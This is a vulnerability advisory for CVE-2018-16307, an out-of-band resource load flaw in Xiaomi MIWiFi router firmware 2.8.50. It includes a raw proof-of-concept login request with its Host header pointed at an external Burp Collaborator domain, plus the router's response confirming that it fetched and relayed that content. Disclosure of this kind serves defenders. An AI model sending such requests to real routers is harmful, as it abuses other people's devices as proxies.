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MIWiFi Xiaomi_55DD 2.8.50 Out-Of-Band Resource Load

MIWiFi Xiaomi_55DD 2.8.50 Out-Of-Band Resource Load
Posted Sep 2, 2018
Authored by Mishra Dhiraj

An out-of-band resource load issue was discovered on Xiaomi MIWiFi Xiaomi_55DD version 2.8.50 devices. It is possible to induce the application to retrieve the contents of an arbitrary external URL and return those contents in its own response. If a domain name (containing a random string) is used in the HTTP Host header, the application performs an HTTP request to the specified domain. The response from that request is then included in the application's own response.

tags | exploit, web, arbitrary
advisories | CVE-2018-16307
MD5 | 6ac1762d0861842f9b5cefc05f6c1c0e

MIWiFi Xiaomi_55DD 2.8.50 Out-Of-Band Resource Load

Change Mirror Download
CVE: CVE-2018-16307
Issue: Out-of-band resource load
Product affected: MIWiFi Xiaomi_55DD Version 2.8.50

Summary:
An "Out-of-band resource load" issue was discovered on Xiaomi MIWiFi Xiaomi_55DD Version 2.8.50 devices. It is possible to induce the application to retrieve the contents of an arbitrary external URL and return those contents in its own response. If a domain name (containing a random string) is used in the HTTP Host header, the application performs an HTTP request to the specified domain. The response from that request is then included in the application's own response.

## Request

POST /cgi-bin/luci/api/xqsystem/login HTTP/1.1
Host: j0kocasi9na1hy5qb3uc8zmk8be42xqpsdi08ox.burpcollaborator.net
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.31.1/cgi-bin/luci/web/home
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 126
Cookie: __guid=86847064.3826147368769525000.1535781606575.13; monitor_count=9; psp=admin|||2|||0
Connection: close

username=admin&password=b2e8d6e552db587f3c283ce59c4d08fcbaf2cc9e&logtype=2&nonce=0_4c%3Abb%3A58%3A47%3A39%3A84_1535785091_2732

## Response

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 62
Connection: close
Server: Burp Collaborator https://burpcollaborator.net/
X-Collaborator-Version: 4
Expires: Thu, 01 Jan 1970 00:00:01 GMT
Cache-Control: no-cache
MiCGI-Switch: 1 0
MiCGI-TproxyInfo: 192.168.31.1:80
MiCGI-Upstream: j0kocasi9na1hy5qb3uc8zmk8be42xqpsdi08ox.burpcollaborator.net
MiCGI-Client-Ip: 192.168.31.237
MiCGI-Host: j0kocasi9na1hy5qb3uc8zmk8be42xqpsdi08ox.burpcollaborator.net
MiCGI-Http-Host: j0kocasi9na1hy5qb3uc8zmk8be42xqpsdi08ox.burpcollaborator.net
MiCGI-Server-Ip: 192.168.31.1
MiCGI-Server-Port: 80
MiCGI-Status: AUTOPROXY
MiCGI-Preload: no

<html><body>x4e809xt6zpgky5b16f6dezjlglgkugifigz</body></html>

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